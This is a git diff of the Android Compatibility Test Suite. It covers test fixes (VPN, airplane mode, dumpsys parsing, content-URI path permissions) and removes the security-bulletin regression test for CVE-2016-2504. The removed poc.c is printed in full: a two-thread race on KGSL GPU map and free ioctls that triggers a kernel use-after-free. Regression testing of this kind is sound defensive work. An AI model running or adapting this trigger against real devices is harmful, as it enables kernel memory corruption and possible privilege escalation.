SystemProperties.getInt("service.adb.tcp.port", -1) > -1)) { + try { + // If adb TCP port opened the test may be running by adb over network. + // Add com.android.shell application into blacklist to exclude adb socket + // for VPN tests. + builder.addDisallowedApplication("com.android.shell"); + } catch(NameNotFoundException e) { + Log.w(TAG, "com.android.shell not found"); + } + } + builder.setMtu(MTU); builder.setBlocking(true); builder.setSession(TAG); diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java index a153a4bf320..e7b697664f8 100644 --- a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java +++ b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java @@ -114,4 +114,21 @@ public class PackageUtil { private static PackageManager getPackageManager() { return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager(); } + + private static boolean hasDeviceFeature(final String requiredFeature) { + return InstrumentationRegistry.getContext() + .getPackageManager() + .hasSystemFeature(requiredFeature); + } + + /** + * Rotation support is indicated by explicitly having both landscape and portrait + * features or not listing either at all. + */ + public static boolean supportsRotation() { + final boolean supportsLandscape = hasDeviceFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE); + final boolean supportsPortrait = hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT); + return (supportsLandscape && supportsPortrait) + || (!supportsLandscape && !supportsPortrait); + } } diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java index 8ac50af0dc4..8516c73f39c 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java @@ -20,6 +20,7 @@ import static org.junit.Assert.assertNotEquals; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.fail; +import android.platform.test.annotations.AppModeFull; import com.android.ddmlib.Log.LogLevel; import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper; import com.android.tradefed.build.IBuildInfo; @@ -40,6 +41,7 @@ import java.io.File; * Set of tests that verify that corrupt APKs are properly rejected by PackageManager and * do not cause the system to crash. */ +@AppModeFull(reason = "the corrupt APKs were provided as-is and we cannot modify them to comply with instant mode") public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver { private IBuildInfo mBuildInfo; diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java index 6e03cdfee24..1af065055f2 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DocumentsTestCase.java @@ -64,7 +64,8 @@ abstract class DocumentsTestCase extends DeviceTestCase implements IAbiReceiver, public void runDeviceTests(String packageName, String testClassName, String testMethodName) throws DeviceNotAvailableException { - Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName); + Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, + getDevice().getCurrentUser()); } protected void reinstallClientPackage() throws Exception { diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java index 53ec3d4cf27..538bc000cef 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java @@ -475,12 +475,14 @@ public class EphemeralTest extends DeviceTestCase private void runDeviceTests(String packageName, String testClassName, String testMethodName) throws DeviceNotAvailableException { - Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName); + Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, + getDevice().getCurrentUser()); } private void runDeviceTests(String packageName, String testClassName, String testMethodName, Map<String, String> testArgs) throws DeviceNotAvailableException { - Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, testArgs); + Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, + getDevice().getCurrentUser(), testArgs); } private void installApp(String apk) throws Exception { diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java index f187504d992..355de8c72c9 100644 --- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java +++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/AccessPermissionWithDiffSigTest.java @@ -141,6 +141,16 @@ public class AccessPermissionWithDiffSigTest extends AndroidTestCase { } } + private void assertContentUriAllowed(Uri uri) { + assertReadingContentUriAllowed(uri); + assertWritingContentUriAllowed(uri); + } + + private void assertContentUriNotAllowed(Uri uri, String msg) { + assertReadingContentUriNotAllowed(uri, msg); + assertWritingContentUriNotAllowed(uri, msg); + } + private void assertWritingContentUriNotAllowed(Uri uri, String msg) { final ContentResolver resolver = getContext().getContentResolver(); try { @@ -1170,6 +1180,26 @@ public class AccessPermissionWithDiffSigTest extends AndroidTestCase { } /** + * Test that shady {@link Uri} are blocked by {@code path-permission}. + */ + public void testRestrictingProviderMatchingShadyPaths() { + assertContentUriAllowed( + Uri.parse("content://ctspermissionwithsignaturepathrestricting/")); + assertContentUriAllowed( + Uri.parse("content://ctspermissionwithsignaturepathrestricting//")); + assertContentUriAllowed( + Uri.parse("content://ctspermissionwithsignaturepathrestricting///")); + assertContentUriNotAllowed( + Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo"), null); + assertContentUriNotAllowed( + Uri.parse("content://ctspermissionwithsignaturepathrestricting//foo"), null); + assertContentUriNotAllowed( + Uri.parse("content://ctspermissionwithsignaturepathrestricting///foo"), null); + assertContentUriNotAllowed( + Uri.parse("content://ctspermissionwithsignaturepathrestricting/foo//baz"), null); + } + + /** * Verify that at least one {@code path-permission} rule will grant access, * even if the caller doesn't hold another matching {@code path-permission}. */ diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java index e66d041c905..56c3596dc3a 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java @@ -18,6 +18,7 @@ package com.android.cts.deviceandprofileowner; import android.content.Context; import android.content.pm.PackageManager; +import android.content.res.Resources; import android.media.AudioManager; import android.media.MediaPlayer; import android.net.Uri; @@ -32,6 +33,7 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest { private AudioManager mAudioManager; private PackageManager mPackageManager; + private boolean mUseFixedVolume; private final Callable<Boolean> mCheckIfMasterVolumeMuted = new Callable<Boolean>() { @Override public Boolean call() throws Exception { @@ -44,6 +46,8 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest { super.setUp(); mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE); mPackageManager = mContext.getPackageManager(); + mUseFixedVolume = mContext.getResources().getBoolean( + Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android")); } // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume. @@ -81,7 +85,7 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest { } public void testDisallowAdjustVolume() throws Exception { - if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) { + if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) || mUseFixedVolume) { return; } diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java index 322777071ab..0280bdfa6a7 100755 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java @@ -411,8 +411,13 @@ public class CreateAndManageUserTest extends BaseDeviceOwnerTest { LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver(); localBroadcastManager.registerReceiver(broadcastReceiver, - new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED)); + new IntentFilter(BasicAdminReceiver.ACTION_USER_STARTED)); + broadcastReceiver.waitForBroadcastReceived(); + localBroadcastManager.unregisterReceiver(broadcastReceiver); + // Register broadcast receiver for the remove action. + localBroadcastManager.registerReceiver(broadcastReceiver, + new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED)); try { assertEquals(UserManager.USER_OPERATION_SUCCESS, mDevicePolicyManager.stopUser(getWho(), userHandle)); diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java index 4fa6235cf97..e5598bb8774 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/SystemUpdatePolicyTest.java @@ -15,6 +15,7 @@ */ package com.android.cts.deviceowner; +import static android.provider.Settings.Global.AIRPLANE_MODE_ON; import android.app.admin.DevicePolicyManager; import android.app.admin.FreezePeriod; @@ -27,12 +28,17 @@ import android.content.IntentFilter; import android.icu.util.Calendar; import android.provider.Settings; import android.provider.Settings.Global; +import android.util.Log; import android.util.Pair; +import android.provider.Settings; +import android.provider.Settings.Global; + import java.time.LocalDate; import java.time.MonthDay; import java.util.ArrayList; import java.util.List; +import java.util.concurrent.CountDownLatch; import java.util.concurrent.Semaphore; import java.util.concurrent.TimeUnit; @@ -42,7 +48,10 @@ import java.util.concurrent.TimeUnit; */ public class SystemUpdatePolicyTest extends BaseDeviceOwnerTest { + private static final String TAG = "SystemUpdatePolicyTest"; + private static final int TIMEOUT_MS = 20_000; + private static final int TIMEOUT_SEC = 5; private final Semaphore mPolicyChangedSemaphore = new Semaphore(0); private final Semaphore mTimeChangedSemaphore = new Semaphore(0); @@ -61,6 +70,7 @@ public class SystemUpdatePolicyTest extends BaseDeviceOwnerTest { private int mSavedAutoTimeConfig; private LocalDate mSavedSystemDate; private boolean mRestoreDate; + private int mSavedAirplaneMode; @Override protected void setUp() throws Exception { @@ -75,6 +85,12 @@ public class SystemUpdatePolicyTest extends BaseDeviceOwnerTest { executeShellCommand("settings put global auto_time 0"); mSavedSystemDate = LocalDate.now(); mRestoreDate = false; + mSavedAirplaneMode = getAirplaneMode(); + Log.i(TAG, "Before testing, AIRPLANE_MODE is set to: " + mSavedAirplaneMode); + if (mSavedAirplaneMode == 0) { + // No need to set mode if AirplaneMode is 1 or error. + setAirplaneModeAndWaitBroadcast(1); + } } @Override @@ -89,6 +105,10 @@ public class SystemUpdatePolicyTest extends BaseDeviceOwnerTest { // This needs to happen last since setSystemDate() relies on the receiver for // synchronization. mContext.unregisterReceiver(policyChangedReceiver); + if (mSavedAirplaneMode == 0) { + // Restore AirplaneMode value. + setAirplaneModeAndWaitBroadcast(0); + } super.tearDown(); } @@ -341,4 +361,42 @@ public class SystemUpdatePolicyTest extends BaseDeviceOwnerTest { fail("Interrupted while waiting for broadcast."); } } + + private int getAirplaneMode() throws Settings.SettingNotFoundException { + int airplaneMode = 0xFF; + try { + airplaneMode = Settings.Global.getInt(mContext.getContentResolver(), + Settings.Global.AIRPLANE_MODE_ON); + } catch (Settings.SettingNotFoundException e) { + airplaneMode = 0xFF; + // if the mode is not supported, return a non zero value. + Log.i(TAG, "Airplane mode is not found in Settings. Skipping AirplaneMode update"); + } finally { + return airplaneMode; + } + } + + private boolean setAirplaneModeAndWaitBroadcast (int state) throws Exception { + Log.i(TAG, "setAirplaneModeAndWaitBroadcast setting state(0=disable, 1=enable): " + state); + + final CountDownLatch latch = new CountDownLatch(1); + BroadcastReceiver receiver = new BroadcastReceiver() { + @Override + public void onReceive(Context context, Intent intent) { + Log.i(TAG, "Received broadcast for AirplaneModeUpdate"); + latch.countDown(); + } + }; + mContext.registerReceiver(receiver, new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED)); + try { + Settings.Global.putInt(mContext.getContentResolver(), AIRPLANE_MODE_ON, state); + if (!latch.await(TIMEOUT_SEC, TimeUnit.SECONDS)) { + Log.d(TAG, "Failed to receive broadcast in " + TIMEOUT_SEC + "sec"); + return false; + } + } finally { + mContext.unregisterReceiver(receiver); + } + return true; + } } diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk index 60395c27f9d..be9a7fce1c3 100644 --- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk +++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk @@ -28,7 +28,8 @@ LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs LOCAL_STATIC_JAVA_LIBRARIES := \ androidx.legacy_legacy-support-v4 \ - ctstestrunner + ctstestrunner \ + compatibility-device-util LOCAL_SDK_VERSION := current diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java index f305e86d572..5e4fb078eb8 100644 --- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java +++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/OwnerChangedBroadcastTest.java @@ -23,6 +23,8 @@ import android.content.SharedPreferences; import android.content.SharedPreferences.OnSharedPreferenceChangeListener; import android.test.InstrumentationTestCase; +import com.android.compatibility.common.util.CddTest; + import java.util.concurrent.Semaphore; import java.util.concurrent.TimeUnit; import java.lang.InterruptedException; @@ -42,6 +44,7 @@ public class OwnerChangedBroadcastTest extends InstrumentationTestCase { // We can't just register a broadcast receiver in the code because the broadcast // may have been sent before this test is run. So we have a manifest receiver // listening to the broadcast and writing to a shared preference when it receives it. + @CddTest(requirement="3.2.3.4/C-0-1") public void testOwnerChangedBroadcastReceived() throws InterruptedException { final Semaphore mPreferenceChanged = new Semaphore(0); diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java index 7c7f94bd2e5..67fa2711491 100644 --- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java +++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleService.java @@ -23,7 +23,9 @@ import android.app.PendingIntent; import android.app.Service; import android.content.Intent; import android.os.Binder; +import android.os.Handler; import android.os.IBinder; +import android.os.Looper; import android.os.Parcel; import android.os.Process; import android.os.RemoteException; @@ -43,7 +45,9 @@ public class SimpleService extends Service { throws RemoteException { switch (code) { case FIRST_CALL_TRANSACTION: - Process.killProcess(Process.myPid()); + new Handler(Looper.getMainLooper()).post( () -> { + Process.killProcess(Process.myPid()); + }); return true; } return super.onTransact(code, data, reply, flags); diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java index fbe75d26686..edc2ff63a9e 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java @@ -330,6 +330,8 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { installAppAsUser(VPN_APP_APK, mUserId); executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet"); rebootAndWaitUntilReady(); + // Make sure profile user initialization is complete before proceeding. + waitForBroadcastIdle(); verifyUserCredential(testPassword, mUserId); executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetAfterReboot"); } finally { diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java index 0614db62658..4eb1fe23abe 100644 --- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java +++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java @@ -567,7 +567,7 @@ public class BatteryStatsDumpsysTest extends BaseDumpsysTest { } private void checkDataConnection(String[] parts) { - assertEquals(25, parts.length); + assertEquals(26, parts.length); assertInteger(parts[4]); // none assertInteger(parts[5]); // gprs assertInteger(parts[6]); // edge @@ -588,7 +588,8 @@ public class BatteryStatsDumpsysTest extends BaseDumpsysTest { assertInteger(parts[21]); // td_scdma assertInteger(parts[22]); // iwlan assertInteger(parts[23]); // lte_ca - assertInteger(parts[24]); // other + assertInteger(parts[24]); // nr + assertInteger(parts[25]); // other } private void checkWifiState(String[] parts) { diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java index 3885f0a8658..d391b649d8b 100644 --- a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java +++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java @@ -122,10 +122,29 @@ public class StoragedDumpsysTest extends BaseDumpsysTest { } if (parts[0].equals(DEVICE_SIDE_TEST_PACKAGE)) { - if (Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) { + /* + * order of parts in StoragedService::dumpUidRecords + * [0] DEVICE_SIDE_TEST_PACKAGE + * [1] read foreground charger_off + * [2] write foreground charger_off + * [3] read background charger_off + * [4] write background charger_off + * [5] read foreground charger_on + * [6] write foreground charger_on + * [7] read background charger_on + * [8] write background charger_on + */ + if ((Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) || + (Integer.parseInt(parts[2]) >= 8192 && Integer.parseInt(parts[4]) == 0)) { System.out.print("WARNING: Background I/O was attributed to the " + "foreground. This could indicate a broken or malfunctioning " + "ActivityManager or UsageStatsService.\n"); + } else if ((Integer.parseInt(parts[2]) >= 4096 && Integer.parseInt(parts[4]) >= 4096) || + Integer.parseInt(parts[4]) >= 8192) { + System.out.print("WARNING: charger on I/O was attributed to " + + "charger off. This could indicate a broken or malfunctioning " + + "ADB USB connection, or device that refuses to charge at the " + + "typical 500mA because it is less than 0.05C.\n"); } else { assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) || Integer.parseInt(parts[8]) >= 8192); diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java index c038eb28d2c..596720c6d01 100644 --- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java +++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java @@ -56,7 +56,7 @@ public class BatteryIncidentTest extends ProtoDumpTestCase { assertTrue(scale > 0); int level = dump.getLevel(); assertTrue(level >= 0 && level <= scale); - assertTrue(dump.getVoltage() > 0); + assertTrue(dump.getVoltage() >= 0); } static boolean hasBattery(ITestDevice device) throws DeviceNotAvailableException { diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java index ff05d8c2fca..e2976c2150c 100644 --- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java +++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java @@ -62,10 +62,10 @@ public class MyServiceClient { final Intent intent = new Intent(); intent.setComponent(new ComponentName(APP2_PACKAGE, SERVICE_NAME)); - // Needs to use BIND_ALLOW_OOM_MANAGEMENT and BIND_NOT_FOREGROUND so app2 does not run in + // Needs to use BIND_NOT_FOREGROUND so app2 does not run in // the same process state as app mContext.bindService(intent, mServiceConnection, Context.BIND_AUTO_CREATE - | Context.BIND_ALLOW_OOM_MANAGEMENT | Context.BIND_NOT_FOREGROUND); + | Context.BIND_NOT_FOREGROUND); cv.block(TIMEOUT_MS); if (mService == null) { throw new IllegalStateException( diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java index 09bee6455e5..96cd045289d 100644 --- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java +++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java @@ -111,7 +111,8 @@ public class KernelConfigTest extends DeviceTestCase implements IBuildReceiver, @CddTest(requirement="9.7/C-0-7") public void testConfigStackProtectorStrong() throws Exception { assertTrue("Linux kernel must have Stack Protector enabled: " + - "CONFIG_CC_STACKPROTECTOR_STRONG=y", + "CONFIG_STACKPROTECTOR_STRONG=y or CONFIG_CC_STACKPROTECTOR_STRONG=y", + configSet.contains("CONFIG_STACKPROTECTOR_STRONG=y") || configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y")); } diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml index f40737fc499..801424346f7 100644 --- a/hostsidetests/securitybulletin/AndroidTest.xml +++ b/hostsidetests/securitybulletin/AndroidTest.xml @@ -36,7 +36,6 @@ <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" /> <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" /> <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" /> - <option name="push" value="CVE-2016-2504->/data/local/tmp/CVE-2016-2504" /> <!-- Bulletin 2016-04 --> <!-- Please add tests solely from this bulletin below to avoid merge conflict --> @@ -51,7 +50,6 @@ <!--__________________--> <!-- Bulletin 2016-07 --> <!-- Please add tests solely from this bulletin below to avoid merge conflict --> - <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" /> <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" /> <!-- Bulletin 2016-09 --> diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk deleted file mode 100644 index 51e6dd80f68..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk +++ /dev/null @@ -1,38 +0,0 @@ -# Copyright (C) 2018 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH := $(call my-dir) - -include $(CLEAR_VARS) -LOCAL_MODULE := CVE-2016-2504 -LOCAL_SRC_FILES := poc.c -LOCAL_MULTILIB := both -LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32 -LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64 - -# Tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts sts -LOCAL_CTS_TEST_PACKAGE := android.security.cts - - -LOCAL_CFLAGS += -Werror -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement -LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef -LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes -LOCAL_CFLAGS += -Iinclude -fPIE -LOCAL_LDFLAGS += -fPIE -pie -LDFLAGS += -rdynamic -include $(BUILD_CTS_EXECUTABLE) - -$(CTS_TESTCASES_OUT)/CVE-2016-2504 : $(LOCAL_BUILT_MODULE) | $(ACP) - $(copy-file-to-target) diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c deleted file mode 100644 index b272328de9d..00000000000 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c +++ /dev/null @@ -1,160 +0,0 @@ -/** -* Copyright (C) 2018 The Android Open Source Project -* -* Licensed under the Apache License, Version 2.0 (the "License"); -* you may not use this file except in compliance with the License. -* You may obtain a copy of the License at -* -* http://www.apache.org/licenses/LICENSE-2.0 -* -* Unless required by applicable law or agreed to in writing, software -* distributed under the License is distributed on an "AS IS" BASIS, -* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -* See the License for the specific language governing permissions and -* limitations under the License. -*/ - -#define _GNU_SOURCE -#include <errno.h> -#include <fcntl.h> -#include <pthread.h> -#include <signal.h> -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <sys/ioctl.h> -#include <sys/stat.h> -#include <sys/types.h> -#include <sys/wait.h> -#include <unistd.h> - -/* ioctls */ -#define KGSL_IOC_TYPE 0x09 - -enum kgsl_user_mem_type { - KGSL_USER_MEM_TYPE_PMEM = 0x00000000, - KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, - KGSL_USER_MEM_TYPE_ADDR = 0x00000002, - KGSL_USER_MEM_TYPE_ION = 0x00000003, - KGSL_USER_MEM_TYPE_MAX = 0x00000007, -}; - -/* - * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not - * leave a good value for allocated memory. In the flags we use - * 0 to indicate allocated memory and thus need to add 1 to the enum - * values. - */ -#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT) - -#define KGSL_MEMFLAGS_NOT_USERMEM 0 -#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM) -#define KGSL_MEMFLAGS_USERMEM_ASHMEM \ - KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM) -#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR) -#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION) - -/* add a block of pmem, fb, ashmem or user allocated address - * into the GPU address space */ -struct kgsl_map_user_mem { - int fd; - unsigned long gpuaddr; /*output param */ - size_t len; - size_t offset; - unsigned long hostptr; /*input param */ - enum kgsl_user_mem_type memtype; - unsigned int flags; -}; - -#define IOCTL_KGSL_MAP_USER_MEM \ - _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem) - -/* remove memory from the GPU's address space */ -struct kgsl_sharedmem_free { - unsigned long gpuaddr; -}; - -#define IOCTL_KGSL_SHAREDMEM_FREE \ - _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free) - -#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0 -#define KGSL_MEMFLAGS_USERMEM_SHIFT 5 - -#define TRUE 1 - -struct kgsl_map_user_mem allocArg; -struct kgsl_sharedmem_free freeArg; - -int fd; -int thread_exit = 1; - -void *alloc_thread(void*); -void *free_thread(void*); -void kgsl_poc(void); - -void *alloc_thread() { - while (thread_exit) { - allocArg.fd = -1; - allocArg.gpuaddr = 0x0; - allocArg.len = 4096; - allocArg.offset = 0; - allocArg.hostptr = (unsigned long)malloc(allocArg.len); - allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR; - allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR; - - int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg); - - if (ret < 0) { - printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno, - strerror(errno)); - return NULL; - } else if (!allocArg.gpuaddr) { - allocArg.gpuaddr = allocArg.hostptr; - } - - volatile unsigned long *pGPU = &allocArg.gpuaddr; - - while (*pGPU) { - if (thread_exit) - break; - } - - free((void *)allocArg.hostptr); - } - return NULL; -} - -void *free_thread() { - volatile unsigned long *pGPU = &allocArg.gpuaddr; - freeArg.gpuaddr = 0x0; - - while (!freeArg.gpuaddr) { - freeArg.gpuaddr = *pGPU; - } - - while (thread_exit) { - ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg); - *pGPU = 0x0; - } - return NULL; -} - -void kgsl_poc() { - pthread_t allocTid, freeTid; - fd = open("/dev/kgsl-3d0", 0); - - if (fd < 0) { - printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno, - strerror(errno)); - exit(-1); - } - - pthread_create(&allocTid, NULL, alloc_thread, NULL); - pthread_create(&freeTid, NULL, free_thread, NULL); - pthread_join(allocTid, NULL); - pthread_join(freeTid, NULL); -} -int main() { - kgsl_poc(); - return 0; -} diff --git 